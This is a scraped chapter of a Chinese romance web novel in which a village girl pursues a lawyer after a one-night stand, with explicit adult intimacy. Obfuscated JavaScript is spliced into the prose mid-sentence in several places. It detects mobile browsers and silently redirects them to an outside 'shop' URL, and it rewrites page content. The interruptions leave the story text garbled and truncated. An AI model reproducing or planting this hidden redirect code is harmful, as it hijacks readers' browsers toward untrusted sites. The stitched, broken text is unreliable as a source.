他抬起眼看着小满,双眸微睐,轻声说:“爽……太爽了。”说实话,爽到他差点被送去见马克思他老人家了。 小满激动得不行,眼睛亮亮地看着他:“那我们是不是应该……”应该确定关系? 裴凌打断她:“你想多了。” “啊?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124529|195999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 裴凌有点好笑地看着女孩。 “你爽,我也爽,皆大欢喜,这就够了。相逢萍水,相忘天涯,从此以后你就把这事当成一次有趣的经历吧。” 小满懵了:“不儿,这怎么行!” 她两步跨出柜台,拦在裴凌面前。这么近的距离,她又闻见了他身上好闻的栀子花香气息,清幽淡雅,却带着淡淡的疏离。 “那你还想怎样,要我给你点合理补偿?” 小满认真地说:“我们做了那种事,难道不应该对彼此负责吗。” 裴凌不以为然:“都是完全民事行为能力人,一拍即合的事,再说你也没吃亏,负什么责。” “那我想对你负责行不行呀……” 裴凌懒洋洋地笑了笑:“那你想得挺美。” “可、可是……”小满脸红了,她从小到大都是个酷姐,都是别人上赶着追她,她可还没对任何人说过这种话呢,“我真的喜欢上你了。” “是喜欢我,还是喜欢,上我,断句断清楚。”裴凌叹了口气,“难不成就一夜,你还能看出我美好的品格,不凡的谈吐么。” 小满一看到裴凌,那小荷尔蒙带来的冲动就让她目眩神迷,从心底里感到舒服、快乐。她定定地说:“是喜欢你,觉得你什么都好。” 裴凌微笑颔首:“那更完蛋。人和人健康的交往,应该是一个发现美的过程。你如果一开始就对我的印象好到极点,那接下来当你发现我的缺点,你对我的评价就会无限走低,没有好结果。” 小满目瞪口呆。 裴凌今天穿了一身戗驳领飞机色西装,整个人就像风中一棵骄傲的小榉树,依旧风度翩翩,光芒四射。但他的气质变了,丝毫不见那天晚上的冶艳媚态,反倒像个权贵人家受宠的小少爷,慵懒没有活力,刻薄的咄咄逼人。 他爹的,要不是长得一样,说话还是那么幽默又奔放,她都不敢相信那一夜被自己拥在怀中游鱼戏水一样的人,那个一会儿哭着让她慢点,一会儿又严厉地让她快点的男人就是他。 裴凌拎着东西就准备离去。 小满再次拉住了他的手腕,这下裴凌脸上的笑意彻底消失了。可惜资本主义精细饮食加健身房锻炼出来的花架子,拗不过社会主义阳光农村的劳动妇女,他也没办法: “还有什么事?” “你至少告诉我你叫什么名字吧。” “裴凌。” “涪陵……涪陵榨菜?”小满呆了呆,目光飘向货架。重庆的涪陵榨菜在她老嬢家的超市卖得可好了。 “那个字读fu,不读pei。” 小满淡淡一笑:“随便吧。你听好了,裴凌榨菜……” 裴凌力竭了,这小妹妹怎么每次见面都要给他取一个恶心外号?一开始是老叔,现在又是榨菜。 他以为自己一番毫不留情的言语轰炸,怎么也该让她退缩了,但显然他小看了她。 她根本没有一点难堪尴尬,反而伸出拇指与修长的食指,像个乡村霸总一样捏住他尖俏的下颌。 “怎么,又想揍我?” “好像不舍得呢。”女孩的手指在他下巴周围轻轻地滑动着,最后像不经意一般,摩挲过他的唇角,非常笃定地说,“我只是想告诉你,随便你说什么,我都不会放弃你的。” 裴凌“呵”地笑了一声,声音磁性低沉,让人想到大提琴的弦音。该死啊,光听他这么笑一下,小满感觉自己就没出息地起了一身鸡皮疙瘩。 “太好了,不瞒你说,我的工作就是专治一些过于自信的人。” 裴凌拍掉王小满的手,淡然地转身离去。 4. 你想要就要给? 非常奇怪。 对于裴凌这样高自尊高道德高标准的人说,酒后乱性被一个农村精神小妹凿得欲.仙欲死这件事,应该会对他打击挺大。 但相反,裴凌不仅没有丝毫尴尬羞耻不安,还觉得…… 有一丝刺激。 当然,他的理智会确保他从此以后不再做这样的事,但他的身体却似乎被小满搞出了另一个人格,让他偶尔会不可控制地想到那疯狂的一夜,然后腹肌微微紧绷,脚尖踮起,嘴角浮现出蒙娜丽莎的微笑…… “呃,裴哥?” 乡政府办公室里,裴凌的对面,小周律师有些疑惑地看着他。 是错觉吗?这段时间,裴律好像时不时就会走神啊。 “嗯,怎么了?”裴凌瞬间恢复正常。 小周垮着脸看裴凌:“改合同真的太无聊了。” “为什么?” 小周撇了撇嘴:“所有的合同都差不多,改来改去都一样,没意思没挑战没成就感!” 裴凌抬眸看了小周一眼,二话不说,把他改过的村集体土地使用权承包合同拿过去,当着小周的面,在他改过的基础上重新改了一遍。 小周看着面目全非的合同,心下巨震。 原来合同还可以这样改,还能这么改。 裴凌先是挑眉问小周“服不服”,小周点头如舂米。 又一句“那今天是不是该你去给我带饭回来”,小周连声“嗯嗯”,但他突然又“哎”了一声,摇头:“哥,今天晚上不行,你忘了吗?咱俩得去王家把王淑智找回来读书啊。” 小周这么一说,裴凌才回过神来。 从他与王小满在超市重逢那天起算,已经过去七天了。这些天乡政府牵头,裴凌亲自出马给家长分析利弊陈情说理,辍学的孩子们陆陆续续回了学校,现在还剩下一个王家的小姑娘没动静。 这个叫王淑智的女孩特别聪明,裴凌和人大博士小周都一致认为她很有数学天赋。可惜她家情况复杂,父亲坐牢,母亲去世,家里只有一个成年的大姐。而这位大姐白天要在镇上打工,人不太着家,小周去了几次都扑空。 裴凌看了看天色:“周末的饭点,她姐应该在家里。你带上礼物,我开车咱们一起去王家,看看能不能一起吃个饭,劝和劝和。” 小周乐呵呵地点头:“好啊,跟哥一起做什么事我都干劲十足。” 夕阳西下,两人一起走出了莲花乡政府的办公小楼。 晚风裹挟着高原特有的清冽与庄稼的气息扑面而来。不远处,一片玉米地铺展开阔,绿浪叠叠,沉甸甸的玉米棒子挂在秆上,穗子在风中簌簌作响。 裴凌一看到洒脱不羁的玉米须须,就想到某人的头发。 这个星期出奇的安静,小满并没有来打扰他,这让裴凌觉得大概那天他放的狠话玉米小狗回家后仔细想想还是受不了,断了念想。 也对,小女孩大概也只是觉得这种女上男下的玩法很新奇,又被裴凌那么软缠——他对自己的魅力是很有自信的,他的一套攻势别说王小满,换成谁又能抵挡得住呢?就稀里糊涂压着他干了大半夜……后来咂摸过几回,她也就放下了。 可有的事真是想都不能想。 前往河谷下村的路上,经过一个直行路口,左边青稞地与平房交错纵横的羊肠小道里,裴凌突然从后视镜看见一辆不守交通规则的冒失鬼火冲出来。 “砰”的一声,保时捷帕拉梅拉高贵的车屁股被豁开个口。 那鬼火就惨了,直接旋转一百八十度侧翻在了地上,骑手甩了个嘴啃泥。 裴凌下车,还没看清那骑手的脸,光看着那头玉米花,他就忍不住想仰天长叹。 但现在不是感叹的时候。 裴凌走过去扶起她:“没事吧。” “我操了……”小满被摔得脑子晕晕的,正想骂人,但一抬头看见裴凌,她傻了,“是你?!” 居然撞到了裴凌的车,小满也不知该说是运气好,还是运气不好。她看了看保时捷车屁股的凹陷:“多少钱,我赔给你。” “走保险吧。”裴凌不以为然,“头摔到了吗?身上有没有哪里不舒服?” 小满一脸尴尬:“别走保险啊……” 裴凌笑笑:“让你违规改车,这下知道怕了。” “不仅是违规改车……”小满越来越没底气地小声嘀咕,“这车还是黑车呢。” “那更该把你车没收。” 小满心里叫苦不迭,正要求饶,裴凌就对她招招手:“行了,不逗你了,过来。” 她迟疑了片刻,老老实实走过去,裴凌摁着她的后颈让她低下头,微凉的手指在她的发间摸索起来。 她还来不及升起任何旖旎心思,就龇牙咧嘴,发出土拨鼠的尖叫:“啊——” “有个小口子,去医院吧,估计得缝针。”裴凌又露出了那种邪恶的微笑,“太好了,这下可以把玉米须须给剃成天线宝宝了……” “不要啊!” 裴凌嘱咐小周先去王家,就送小满去了医院。 坐进了裴凌的豪车,小满感觉整个人有点飘飘忽忽的,她这一周其实没有一天不在想他,但光发动小弟小妹找人都已经费了几天功夫,正愁如何接近他呢,没想到好机会突然送上门了。 可惜裴凌开车的时候,没打算跟她说话。到了医院,他更是一点征求她意见的想法都没有,直接付了钱:“给她做个全身检查,千万别落下什么毛病。” 医生问了几个问题,然后拨开小满的头发看了看:“要缝针。” “我去!”小满这下懵逼了,她一想起裴凌刚才说的要剃头,就狠狠抗拒起来,“别啊医生,我身体好能顶得过去,求你了!我不要剃头!” 医生愣了愣:“小姑娘,是谁说要剃头?就一个小口子,不用剃头啊。” 小满看看医生,又看看裴凌——这男人倚靠在门框上,看着她吓得鬼哭狼嚎的熊样,用几根手指掩住上扬的嘴唇,侧着脸笑得花枝乱颤。 ……小满想生气,但怎么也气不动。 他笑起来还真好看。 一通检查完毕,小满确实没问题,连医生都直拍她肩膀夸奖她身体强壮,裴凌才带着她出了医院。 此时虽然才七点,但天已经紫透,繁星璀璨,皓月如轮。 小满走在裴凌身边,他身上的香气伴随着花草馨香被吹到她心里,让她整个人都乐滋滋的。 温柔的天光中,她不时偷看裴凌一眼。 今天老婆没打领带,衬衫领口松开两颗扣子,丝毫不见散漫,反倒多了几分随性。 他的眼型是上挑的,眼珠明亮,睫毛长到拉长眼尾,笑的时候风情激荡,比春水还温暖动人…… 裴凌本来想假装没看见,但玉米小狗的眼神越来越炙热,好像恨不得把他就地扒光一般。 他终于忍无可忍:“看什么?” “当然是看你好看啊。”王小满无比坦诚,“还有想谢谢你。” “不用谢,主要是不想你小小年纪留下什么病根,到时候还来找我麻烦。” 小满无视了他冷淡的话语:“修车费到底多少钱?我们加个微信,我转过你。” “别放心上,没几个钱。” “那也得赔给你。” “你赔不起。” 玉米小狗有点可怜:“就是想加个微信你都不答应?你连一个了解你的机会都不给我?” “没有了解的必要。” “那你到底喜欢什么类型的?” “反正我不喜欢年纪比我小的。” “比你年纪小也不是我的错啊!” 裴凌笑着点头:“嗯,是我爹妈的错,我应该晚生个六七年。” 说实话,小满这下真有点想揍裴凌了。一边恨不得捏死他,一边又恨不得把他含嘴里,喜欢一个人喜欢成这样,真他爹受罪:“裴凌,你凭什么撩了就跑啊!” 他眨了眨眼:“哪里撩了就跑,明明有过一次实质性接触,你怎么还不知足呢。” 王小满真是说不过他,气成个大河豚走在他屁股后面,眨眼睛到了裴凌车前,他说:“别贫了,你家在哪?我送你回去。” “不用,”小满有气无力地摇头,气氛已经糟糕透顶,再硬挤一起没准会让场面更难堪,她还是先战略性撤退吧,“就这么个小村子,几步路我就走回去了。” “行。”裴凌略一思索就爽快地点点头,天色不早了,他还得去王家那边看看,“你路上注意安全。” 小满目送裴凌离去,平复下心情,哼着小曲往家里走,结果裴凌和她两个一前一后同时到了王家门口,两人大眼瞪小眼一阵。 “什么鬼?”小满两手插裤兜里,饶有兴趣地看着裴凌,“我还以为你行色匆匆的要去搞什么坏事呢,一声招呼不打跑我家来了,准备给我倒插门啊?” “这是你家?”裴凌皱着眉头。 “吱呀”一声,王家的门户从里面被打开。小周和淑智探出头来,见到这颗兀自在风中凌乱的榨菜,淑智很礼貌地打招呼:“裴老师好。” “什么?”小满这下更乐了,不等裴凌说话,她伸出手虚虚扶在裴凌后腰上,一副亲亲热热的模样,对她老妹说,“那快请裴老师进去坐吧!” …… 进到王家里面,裴凌心里五味杂陈。 这个家真是太破旧了。 方圆几里别的人户,都是规整的数层小楼,只有王家还是最老式的两间瓦盖平房。一盏摇晃的风灯照亮了院子的格局:两边种着玉米豌豆之类的蔬菜,中间留出一条走道,屋子前堆砌着木柴,褪色的窗户处拉着一根晾衣绳,乱糟糟的。 裴凌对小满心生怜惜。一个豆蔻青春的少女不应该过着这样的生活。 而且除了怜惜,裴凌对她更是产生了一丝由衷的欣赏。 不管是对他还是小周,王小满都大方坦荡,不卑不亢,没有显现出任何家境贫寒带来的怯弱——这非常不容易。但越是在逆境,人越是要这股精气神。而有这样精气神的人,最后往往也过得不差。 厨房里,小周带来的各种食物用品堆了一地,他忙活一轮已经炒出了几个热菜端上桌,小满和淑智也在帮忙,只有裴凌这从小到大被伺候惯的老屌跟个维多利亚女皇一样,心安理得歪在沙发上四处打量。 跟院子里的杂乱无章不同,小满家里收拾得井井有条,甚至一些小物件的布局,还体现出了那么一丝品位。说实话,和她本人精神小妹的形象一点儿不符。 菜还没上齐,小满先端了一盘热乎乎的曲奇出来,送到裴凌面前。 “我亲手烤的,请你第一个尝尝。” 裴凌挑了挑眉毛:“谢谢,你还会做烘焙?” 他伸出手拣了一块放在嘴里,牙齿刚咬开酥脆的外皮,黄油香气在舌尖绽放,不腻不齁。 出人意料的好吃。 “味儿不错。”裴凌评价,“都赶上店里的水平了,哪儿学的?” “我去!被你怼了那么久,终于得到你的表扬了,不容易啊。”小满在裴凌对面坐下,“我在民办大专的时候一开始学汽修,学了一年嫌累,后来又去学烘焙。” 那辆发出野猪嚎叫的改装鬼火,原来是她本人的手笔。 裴凌忍不住笑笑:“你真聪明,学一行会一行。不过你说你上的是民办大专?” 小满自然明白他言下之意:“别看我家现在穷得一塌糊涂,其实以前我爸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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因此,他直接把解决方案抛给她:“小王,你妹妹年纪太小,如果你现在带她出去打工,那么很大概率她后半辈子唯一的选择也就是打零工,太可惜了。如果你信任我,我可以为你妹妹找合适的学校,安排好读书的事情,不需要你花一分钱,也不会埋没你妹妹的天赋。” 王小满愣住:“真的假的?” 王小满虽然认知有限,但她再不济也知道这种事不是轻易能办的。 裴凌点头:“真的。” “……那肯定好啊!”小满粲然一笑,这可是裴凌要上赶着帮她,她怎么会拒绝呢?再说一旦欠了他这么大个人情,以后就能有更多和他相处的理由了,“话说你到底是干什么的,支教老师?怎么这么热心?” “我是律师。” 王小满傻咧咧来一句:“律师不都为人民币服务嘛?” 他笑了:“所以我还得感谢你,给我一次为人民服务的机会啊。” 小满看着裴凌坐在她家小沙发上,长腿交叠,那幅傲娇清高,聪明妩媚的模样,确实是一个弥漫着臭老九气息的精英分子。 但臭也臭的好闻,嘿嘿。 她又献宝似的把桌上的凉拌黄瓜给裴凌端过去。 裴凌有点嫌弃地摆手:“我不喜欢吃黄瓜。” “吃嘛,这我自己种的,绿色无公害。”如果精神体可以具象化,小满背后尾巴摇晃的速度可以把桌子都拍飞了,“你要是不吃,我就嘴对嘴喂你。” 裴凌笑吟吟地看了她一眼,气定神闲:“你要是再说这种话,我就立马走人。” 沙发不够软,坐久了裴凌有点累。 他无视小满沉默而幽怨的小眼神站起身,对她轻飘飘说了句“失陪”。 小满看着裴凌的背影,没有任何犹豫跟了过去,嘴里嘀咕:“他真敢走?” 裴凌其实只是出去伸个懒腰,吹会儿冷风。 刚走到屋檐下把烟点上,背后猝不及防袭来一股熊力,他整个人被拉扯进一个温热的怀抱里,廉价洗衣液的香味顿时充斥他的鼻腔。 这女子体育生的力气简直恐怖。 裴凌几乎动不了,昂贵香烟从他惊颤的指尖掉落,在地上闪烁着忽明忽暗的星火,他又不敢大声呵斥,怕引来家里其余两人的主意。 “放手,抱得我疼死了。”裴凌皱起了眉头。 小女孩当然不会放,对裴凌油盐不进的怨怼,对他这个人的占有欲和喜欢,在这一刻一起爆发出来。她闷闷地说:“你问了我这么多,还主动帮我的大忙,我觉得你明明挺关心我的。” 裴凌眺望着远方的群山,淡淡道:“你想多了,我就是随便问问。” 她把脸贴在他白皙的颈侧:“你尽管问。你的问题,我都会好好回答。你是我想要的男人,我很高兴你愿意了解我。” “……” 裴凌从小到大,收到的各种热烈的、隐晦的、别出心裁的表白数不胜数。而他认为绝大多数向他表白的人都是蠢人。 因为他们都搞错了一件事:表白应该是胜利的号角,而不是发起进攻的冲锋号。 玉米小狗跟这些二傻子按理来说也没什么区别,他本应不为所动。 但也不知是不是被她的真诚感染,裴凌突然有点发自内心的愉悦。 一愉悦,就忍不住想逗弄逗弄她。 无关勾引,也无关喜欢。 就是想看她会不会出糗。 他侧过脸,似笑非笑看着小满,流连的目光爬在她的脸颊,不明不暗的光线里,精致无瑕的侧颜像西方雕塑矜贵优雅,眼神幽邃,有种凛冽的诱惑,缥缈的性感。 小满感觉身体淡淡酥麻。 现在的他,终于有几分那个夜晚的姿态了…… 就是这种感觉! 玩味!勾引!挑衅!还管杀不管埋。 他的声音懒懒的:“你想要,我就要给你?” “没事,你不用给我,准我给你就行……”女孩轻轻掐着他的下巴,强迫他扭过头,舌头急不可耐伸进了他的口腔里,抵住他的喉咙。 昏暗的空间里,传来男人急促又压抑的喘息,与令人面红耳赤的接吻声。 5. 带擀面杖来想干什么? 刚刚,裴凌坐在她家里的小沙发上。 饱满挺翘的臀部,连接着的那双直长有力的双腿,曲在桌下狭小的空间里,只微微露出一小截包裹在黑色正装袜里的精致脚踝。 小满当时看着就想叹息。 这双腿怎么能委屈在这里呢。 最合适这双腿的地方,应该是她顶天立地的肩膀,或精瘦强悍的腰才对! 现在她如愿以偿了。 明暗交错的光线里,随着女孩愈发变本加厉地挞罚他的唇舌,这个男人冰山似的外在终于如奶油一般开始融化。 体现在哪呢? 体现在他的脚上。 因为王小满家里的家具绝大部分都是破的,屋子前的长椅也不例外,所以裴凌一被王小满按着坐上去狂吻,这倒霉椅子就吱吱呀呀一阵乱响。裴凌怕发出动静,只好虚虚挺腰,把支撑身体的力气用在腿上,圈住她的腰肢。 如果做.爱是肉.体的腾空,那接吻就是灵魂的掏空。 两人的荷尔蒙气息在空气里乱舞,小女孩的吻没有温柔的试探,一来就是猛攻,反复嘬弄着男人的嘴唇,舌尖勾舔他的上颚迂回吮吸,不时还能听见令人羞涩的缠绵水声,让裴凌头皮发麻,全身酥软。 就像范思哲的巴洛克浮雕、LV的老花、梵克雅宝的幸运草……CL的红底鞋也是品牌独特的标识。 裴凌的腿圈着小满的腰,双脚本来是保持一种垂落的自然状态,但在女孩绵延的吻势下,他的腿打着颤发软,脚却在慢慢地翘起来。 直到最后,翘到再也看不见漆黑的鞋面,只有两抹优雅成熟、性感妩媚的红色,在夜色里像血一样灼灼发亮。 那夜也是如此。 如果她刻意放缓速度,他就会用脚背敦促她快一点重一点,情浓时或快到极限,他的脚尖就会绷得紧紧的翘得高高的,像现在这样。 “看来这次的吻技,比起上次很有进步?”她一边亲他,一边抽空发问。 女孩志得意满地看着裴凌,他露出的脖颈皮肤已经从雪白蒸腾出了淡淡的樱粉,连触碰着她的指尖,也变得灼热无比。 可当他斜眼瞥过来时,眼神淡淡,表情淡淡,雪白的手指,在她溜滑的鼻尖轻轻地来回摩挲: “嗯……有点进步吧,”他惬意地微笑道,“从一只喜欢咬人的小狗,变成了喜欢舔来舔去的小狗。” 坏男人! 还得加大力度! 小满眯了眯眼睛,手掌沿着他窄窄的胯骨一点一点向上攀去,握紧他纤韧的腰,然后狠狠地掐住。 裴凌轻轻蹙眉,“嘶”了一声,脖子微微抻长,淡绿色的美人筋浮现在颈侧。 小满就在这时候吻上他的喉结—— 听说这里很敏感,任何男人都受不了被吻这里。 裴凌的喉结也长得很好看,小而尖锐,像隐藏在果肉间的核。她忍不住吮了两下,轻轻啃咬那处雪白的皮肉,果然也像食用新鲜水果一样,尝到了他肌理间的清香。 裴凌浑身猛地一颤。 “嗯……够了……”他喘息,这一疼一爽的刺激过后,滴水不漏的面色终于显现出一丝破绽,“别再继续了。” 小满笑问:“亲脖子和喉结很舒服是不是?” 老浪精,明明眼睛都已经变得雾蒙蒙了,眼尾吊起一抹薄红,英挺的鼻准里却发出一声轻哼:“舒服什么?慢性咽炎都被你啃出来了。” “是吗?”小满脸上故作惊讶,慢慢凑近,“但你身上某个地方好像也跟你的嘴一样很是不软啊。” 裴凌笑容像只慵倦的狐狸:“我二十多岁,又不是七老八十,没反应才不正常吧。” “只要你今天别再跟上次一样忘事就行……”小满依旧对裴凌被吃干抹净后居然把她忘得一干二净的事心怀怨念,凑过去亲了亲他的脸,“到隔壁去,我抓紧时间帮你弄出来,不然你挺着多难受啊?” 裴凌轻轻喟叹一声,当然知道这种行为非常不妥,但他偏偏也被这小土狗撩的神魂颠倒,竟然没反对,搂着她的背沉默着。 王小满正要把他抱到隔壁房间里去,裴凌的手机好死不死这时候响了起来。 小满跟他对视一眼,悻悻地松开了手。 裴凌一看来电提示,竟还清了清嗓子才接起来。小满见他这副郑重其事的模样,立刻打起精神竖起耳朵仔细偷听,对面是一个温柔中无法忽视威严底色的女声。 裴凌走到一边:“妈妈,晚上好。” 小满松了口气。 是他妈啊!那没事了。 不过她也无语了,裴凌二十大几的男人了居然还跟老妈那么亲密,寒风里打了二十多分钟电话后,他好像也没什么兴致了,理了理衣服,走过来轻戳她一下:“回去吧。” 裴凌切换模式的速度还是那么快。 要不是他耳廓仍然有些微红,小满真难以置信,他半个小时前整个下半身都挂在她腰上蹭来蹭去,两个人缱绻得难舍难分。 接下来的这顿饭就没什么好说了。 裴凌面色镇定地跟她谈了些正事,不外乎政府的帮扶政策,以及淑智后续的学业问题,当然还关心了她两句,嘱咐她记得按时换药,别让头部伤口感染……一个小时后,小满依依不舍搂着小妹,目送裴凌离去。 “裴老师,下次再来喔。” 王小满也学着淑智,对着裴凌的背影叫老师。 她心里因为那事没有后续感到闷闷不乐,除此之外还有点担心。 老婆你可别压枪压坏了…… …… 给王淑智找一间新学校就读,对裴凌来说不外乎举手之劳。 他本科时候的民法教授现于蓉州大学任教,师母正是蓉大隔壁那间整个蜀川最好的中学的校长。总之一个电话打过去,这事儿就解决了。教授让他空闲的时候去蓉都做客,顺便把王淑智的材料拿去走个程序,裴凌笑着说好。 至于小满,正好也就借着感谢的由头,三天两头跑来乡政府找裴凌。她也不耽误任何人工作,把自己做的小点心放下就走,有时乘着小周去门口抽根烟的功夫,逮着小周问东问西,从他嘴里套裴凌的情报,最后再偷瞄几眼心上人也就够了,还挺容易满足。 裴凌这种高傲的闷骚男,是典型的吃软不吃硬。 王小满现在明白了这个道理,她就要趁裴凌放松警惕的时候,拿着铲子猛撬一下,在他警觉之后又把铲子收起来装作若无其事吹口哨离开,等老婆这朵独自盛开在山巅的雪莲花再一放松,就抄起铲子砰砰砰! 她也曾扪心自问,这么费尽心思,剃头挑子一头热地献殷勤值得吗? 王小满仔细想想后,心底深处的答案是值得。 她爸因为不齿的罪名锒铛入狱,她独自一人面对一个破碎还破产的家,在这糟糕的岁月里,说实话,裴凌对她来说是唯一的惊喜。 她对裴凌的想法也很简单—— 她喜欢他。想和他在一起。 她的未来可以没有任何一样东西,但一定不能没有裴凌。 王小满现在什么都缺,但最不缺的就是勇气与行动力。即使在追求裴凌的过程中会被他怼刺,她也有种乐在其中,越挫越勇的感觉。 对于裴凌而言,撇开其它不说,王小满做的甜品真的很好吃,看来在学校里的技术真没白学。裴凌觉得这不是王小满身上最大的优点,但一定是与她精神小妹身份最不搭的一个优点。 这日复一日、带着点小心思的投喂,让裴凌跟王小满走近了一些,两人之间的关系终于不再是单纯一炮之约的生硬了。 日子就这么一天天温水煮青蛙地过着。 一个月后,一件不同寻常的事发生:一个背负命案的逃犯流窜到了甘林县境内。 这种事听着惊心,但根本不奇怪。甘林县地形复杂,位置微妙,处于川藏滇三省交界地带,甚至隔壁缅甸人翻两座山也能溜过来。 消息传开,县里人心惶惶,县公安局当天下午就紧急发布了协查公告,各镇各村立刻遵照政府和公安的部署布防,一时间气氛无比紧张。 甘林县地广人稀,深山犄角旮旯太多,市里借调过来的无人机不够,还得靠大量人力守点布控。政府统筹了全县公职人员,分派到各处要道和偏僻据点轮岗放哨,然而像深山老林里的据点老同志和女同志们肯定是不能去的,人手不足的情况下,裴凌主动请缨,表示愿意前往值班。 一听到裴凌要去,小周也硬着头皮,舍命陪君子。 结果第二天傍晚,村委派来的三轮车倒是如期停靠在路旁了,上面却不见小周踪影,只有一个小金毛,叼着根烟,手里拎着擀面杖和行李袋。 不是王小满又是谁。 王小满对着裴凌,指了指三轮车的副驾驶:“过来坐,我送你上山去。” “……你?” “干嘛一副将信将疑的样子,我也是咱们村的临时志愿者。”王小满指了指另一只手臂上的治安志愿者袖章,“我昨天听小周说你们要去山上哨站,就申请过来送你一程。” 裴凌点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124531|195999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点头,也对,现在村子里青壮劳动力大多外出打工,王小满年富力强,一个能打三个,被抓来义务劳动一点不奇怪。 再一看村委安排的这辆电动三轮特小,要是等着小周一起坐,估计就有人得到后面的露天小车厢里了。 他可不想被颠得死去活来,跟上次坐拖拉机一样。 裴凌毫不含糊地坐到三轮车的副驾驶:“那麻烦你了,我们先走吧,开慢点,注意安全。” “载着你我能乱来么,再说三轮车车速本来就飙不快。”小满咬着烟说话,心里乐呵呵的,觉得这些日子和小周搞好关系没白费,关键时刻真能有重要情报。 她发动起车辆,一边开车,一边偷瞄身边的裴凌。 雪白的老婆、美丽的老婆、有气质的老婆,身上从来没出现过重样的衣服,今天打扮休闲随意,穿一件款式简单但质感很好的白色毛衣,手上戴着黑色运动手环,整个人像一抹泼出去的牛奶。 三轮车四面透风,清新的空气和裴凌极淡的体香,让王小满感觉心旷神怡。 两人都是身高腿长的人,在这狭小的空间里本来就挨得很近,王小满还要不动声色朝裴凌那边挤。挤就算了,一只手还悄悄从他背后探过去,半揽在他腰臀间。 这些天,她还是老样子,无时无刻不在惦记裴凌。 想靠近他,想触碰他,想再次贯穿他。有时甚至会因为太喜欢他,而被荷尔蒙激素操控着产生无端的暴躁,乃至施虐的欲.望。 昨天,王小满在口口文学城看了一个三流作者苇名人写的小说,好像叫什么欺负老实人?总之她现在能欣赏狗血小说里的虐男情节了……也许太喜欢一个人,他的眼泪真的会成为你的兴奋剂。 但尽管如此,一旦见到裴凌本人,她心里的狂躁暴动就会立刻平息,除了在床上,她只想看他笑,根本舍不得让他哭。一切邪恶的念头尽皆化为口嗨。他就像一撮柔软的羽毛,在她的心尖儿上轻轻拂动,让她心神迷醉,平静却又不能自已…… “嗳,还能不能好好开车了?”冷不丁裴凌开口,王小满从沉浸状态中回过神。一抬眼,见他端着个淡淡的笑脸瞅着自己,眼神有几分揶揄,连生气都这么好看,“不行你坐我这儿来,我开。” 王小满移开蔫坏的小眼神:“算了吧,你开三轮车,气质也太不搭嘎了……” 裴凌受不了王小满用四处飘散多巴胺的眼光偷瞄自己,明明是个小女孩,为什么性压抑的程度比他这个二十多岁男人还强烈?那手还时不时越过楚河汉界,来他这占小便宜:“真幼稚。” 三轮车在曲折迂回的泥巴山道上行驶,过了半个小时,王小满稳稳当当把裴凌送到了目的地。 这是田野里一座四四方方不大的哨站,很有些年头了。裴凌目测总共八十来平方,值班室外有监控,里有通讯设备书桌和行军床,值班室后是一间小厨房和浴室。 值得一提的是,这床还带着束缚用的软锁链,看来这哨站前身八成是劳改农场。 天色不早了,王小满不仅不走,反而把三轮车上的行李往里放,裴凌愣了愣,说:“你打算留在这儿?” “不是我要留在这儿,登记名册上本来就是我和你一起值班。”王小满这时候才对裴凌说了实话,“你不用等小周,他已经被我赶走了,你也不想想,他那弱不禁风的模样,真遇上‘棒客’只能白给,还是得我来保护你。” 王小满说的“棒客”是川渝方言,就是指游荡的罪犯。 裴凌一挑眉:“看来你和小周这逃兵在我不知情的时候结成了革.命友谊啊,你用什么贿赂他了?” 王小满心想不过就是纸杯蛋糕和核桃桂花蜜罢了,笑眯眯的:“当然是我用人格魅力征服了他。” 裴凌也笑笑:“行,这么晚了,刚刚那条山路那么黑,你一个人散发着魅力之光走掉其实我还担心。”这话又让王小满飘飘然了,但他紧接着又敛容正色,“什么场合该做什么事你心里有数,别想着乱来。” “……噢。” 说完裴凌就去收拾屋子。 这个娇生惯养的少爷,活了二十来年从没摸过笤帚抹布,王小满脸上挂着刚出炉包子的笑容,眼睛一眨不眨盯着裴凌,觉得这种聪明人露出笨拙的模样特好玩。但仅仅一小会儿后,裴凌就轻松上手家务活,动作变得利索流畅。 裴凌像个贤夫一样给王小满把床铺好,把行李收拾妥帖,最后,他拿起那根圆润粗.长的擀面杖陷入了沉思。 “……带这个来你是想干什么?” 6. 捆绑play “揍棒客用的。”王小满理直气壮,“要是碰见那棒客,我就用这个锤死他。” 王小满没开玩笑。 她没告诉过任何人,其实她还有一个刑警梦呢。 呵呵,只可惜高考四百分毁了她的梦,再加上她老爸的事,这个梦这辈子都不会成真了。 裴凌想都不想,就把她的简陋版警棍没收掉。 “如果真的遇见逃犯,第一时间保护好自己联系公安,千万别做蠢事。” “你居然不相信我能用这个揍棒客?” “不是不相信,这些背负命案的逃犯都是亡命之徒,被逼入绝境也许会不惜一切代价反扑。就算你真的把他打倒,你也很有可能在这一过程被他捅上一刀,你觉得这值得么?” 王小满躺在值班室的行军床上唉声叹气:“裴律师,你已经未战先怯了,难道你当律师在法庭上也是秉持这种懦夫精神吗?给你付律师费的顾客在天上失望地看着你呐!” “这不是一回事。” “你还好意思说小周是逃兵呢,你也是逃兵,果然关键时刻还是得靠女人啊,哈哈!” 